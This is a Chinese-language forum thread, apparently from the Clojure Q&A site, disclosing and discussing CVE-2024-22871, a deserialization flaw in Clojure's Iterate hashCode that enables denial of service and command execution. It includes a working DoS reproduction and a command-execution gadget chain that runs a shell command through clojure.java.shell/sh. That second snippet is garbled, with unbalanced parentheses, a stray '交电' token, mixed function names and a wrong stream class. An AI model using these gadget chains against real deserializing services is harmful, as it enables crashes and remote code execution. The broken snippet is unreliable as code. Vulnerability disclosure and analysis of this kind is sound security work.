2024 Clojure 状态调查!中分享您的想法。

欢迎!请访问关于页面了解更多有关如何使用本站的信息。

+1投票
Clojure
已关闭

漏洞报告

在 org.clojure:clojure 中存在以下漏洞:
- 拒绝服务攻击(clojure 版本 1.2.0 - 1.12.0)

dos

Command Injection

注意,不需要额外的组件即可利用此漏洞。

详细信息
1.12.0-a5 中的 RCE CallGraph
17069252746231706925273707.png

CVE
- CVE-2024-22871

随以下说明关闭: 在 Clojure 1.11.2 和 1.12.0-alpha9 中发布
如以下所述,DOS 攻击可能影响 1.2.0-1.12.0,且带有本地验证的命令执行可能影响 1.9.0-1.12.0。
在我看来,一些当前问题与以下情况类似,但采取了新的绕过方式。


https://clojure.atlassian.net/browse/CLJ-2204

编辑
我不明白,既然都是Java,Clojure和这有什么关系?

更新:我是否理解正确,可以不用Clojure,在Java中实现同样的功能?
没有正确完成,函数调用图部分取决于Clojure,例如apply、RestFn等。在Clojure版本poc中的1.9.0-1.12.0版本可以通过访问匿名函数类执行命令来获取$fn_5920。

1 个回答

+3

被选中
 
最佳答案

在不受信任的数据上使用ObjectInputStream是固有的危险行为,正如该类的文档本身所表明的。为什么把该类的危险展示视为提供某些所用类的JAR中的漏洞?

为未来的读者提供一个更简单的复制方式

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
作者:
是的,ObjectInputStream确实引入了潜在的安全风险。然而,关于这个特定的漏洞,问题并不是关于讨论导致安全问题的潜在风险。它实际上在于在1.12.0-alpha5版本中,可以构建一个特殊的序列化数据包,这加剧了这些风险的可能危害。无需其他依赖即可实现,并且可以进行命令执行(看起来process$start是一个新引入的功能)。反序列化通常取决于项目环境,但这个漏洞无需其他依赖,是JAR包本身的问题。
作者:
我明白了。但是这与1.12.0-alpha5无关 - 我刚刚添加到答案中的代码可以在1.8.0上运行以复制该行为。经过轻微修改,它可以在1.2.0上运行(但在那之前不行,因为在那之前`clojure.lang.Cons`不可序列化)。
作者:
是的,这个漏洞只影响1.12.0-alpha5版本。我没有对以前的版本进行太多分析,我悲观地认为它们可能还有其他高风险的反序列化漏洞。
顺便说一句,如果可能的话,希望开发者可以发布CVE,尽管我要求CVE,我还没有收到回音。
作者:
你说是“是”,但却写了与我相反的话——这个漏洞影响从1.2.0开始的所有Clojure版本。
真吗?各位,你们指的是由这次反序列化导致的命令执行漏洞吗?因为我对Clojure不是很熟悉,我只从我自己的程序分析工具中得到了这个分析结果。
此外,最让我困惑的是core$partial$fn__5920类的生成原理。我用soot分析了clojure.jar,但我想了解Clojure中core$partial$fn__5920类的实际代码。
这个特定的类是由`partial`函数的这个arity生成:[代码链接](https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638)
谢谢。由于时差原因,之后可能难以及时回复。
by
编辑 by
生成命令执行攻击的另一种方式

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1)))
      (setPrivateField model "_hash" (int 0)))
       交电(map model nil)

      (set-private-field model "_hash" (int 0)))
      ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectInputStream. out)]
      (.writeObject obj-out map)

      (println "写入完成。读取...")
      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
          obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )

  )
  ;; 调用 main 函数
```
(main)
by
通过
不清楚你最后一条评论的意思。在`clojure.java.shell`命名空间中的`sh`函数用于将命令发送到shell执行,因此当然可以使用它运行东西。命令执行机制仍然依赖于`Iterate`类实现哈希的方式。
通过
这是因为我在前一个版本中使用了`process $ start`,但遗憾的是这是从1.12.0引入的新功能;稍后检查项目,发现可以直接使用shell函数直接执行命令。是的,在`Iterate`类的哈希计算中仍然存在问题。
通过
此问题已在1.11.2和1.12.0-alpha9中的`Iterate hashCode()`中得到修复。
...